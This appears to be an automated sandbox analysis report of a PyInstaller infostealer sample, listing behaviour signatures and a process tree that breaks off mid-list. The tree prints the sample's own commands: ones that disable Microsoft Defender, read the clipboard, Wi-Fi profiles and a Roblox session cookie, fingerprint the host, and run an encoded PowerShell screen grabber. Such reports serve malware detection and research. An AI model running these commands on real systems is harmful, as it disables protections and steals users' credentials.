Overview

overview

10

Static

static

10

2026-11-12...yn.exe

windows10-2004-x64

10

2026-11-12...yn.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 04:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe
  • Size 13.8MB
  • Sample261113-e7y25afw5s
  • SHA256 365f6c48bcf74d88c6d9baac75f3cad67badbfea829419dbb529c33050eb1beb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationpyinstallerspywarestealer

Malware Config

Signatures

  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

    Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 24 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4976
    • \??\c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
      c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4452
      • \??\c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
        c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Enumerates video capture drivers
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of WriteProcessMemory
        PID:2044
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "ver"
          4⤵
          • Executes a command shell one-liner
          PID:3008
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe '"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:32
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe '
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:4748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3104
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious use of AdjustPrivilegeToken
            PID:3660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:392
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:2112
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:2816
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3252
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            5⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4112
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          4⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:1676
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            5⤵
            • Clipboard Data
            • Suspicious use of AdjustPrivilegeToken
            PID:4600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:628
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3800
          • C:\Windows\system32\tree.com
            tree /A /F
            5⤵
              PID:3816
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            4⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4056
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              5⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:3936
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3376
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              5⤵
              • Gathers system information
              PID:4484
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:972
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4832
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wvlurgxw\wvlurgxw.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2008
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9A28.tmp" "c:\Users\Admin\AppData\Local\Temp\wvlurgxw\CSC7239187585CC4B559325E6E849D0C569.TMP"
                  7⤵
                    PID:1660
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1740
              • C:\Windows\system32\tree.com
                tree /A /F
                5⤵
                  PID:2364
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:388
                • C:\Windows\system32\tree.com
                  tree /A /F
                  5⤵
                    PID:3564
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  4⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:668
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    5⤵
                      PID:4180
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:1880
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      5⤵
                        PID:4860
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:700
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:2416
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        4⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:824
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                          5⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4472
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        4⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1708
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                          5⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2928
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        4⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4060
                        • C:\Windows\system32\getmac.exe
                          getmac
                          5⤵
                            PID:632
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3300
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic os get Caption
                            5⤵
                            • Reads the TCP/IP host and domain name from the registry
                            • Suspicious use of AdjustPrivilegeToken
                            PID:636
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4164
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic computersystem get totalphysicalmemory
                            5⤵
                            • Reads the TCP/IP host and domain name from the registry
                            PID:1044
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3804
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic csproduct get uuid
                            5⤵
                            • Queries system WMI classes for hardware identifiers
                            • Reads the TCP/IP host and domain name from the registry
                            PID:3696
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3524
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:4152
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4988
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic path win32_VideoController get name
                            5⤵
                            • Reads the TCP/IP host and domain name from the registry
                            • Detects videocard installed
                            PID:4248
                        • C:\Windows\system32\cmd.exe
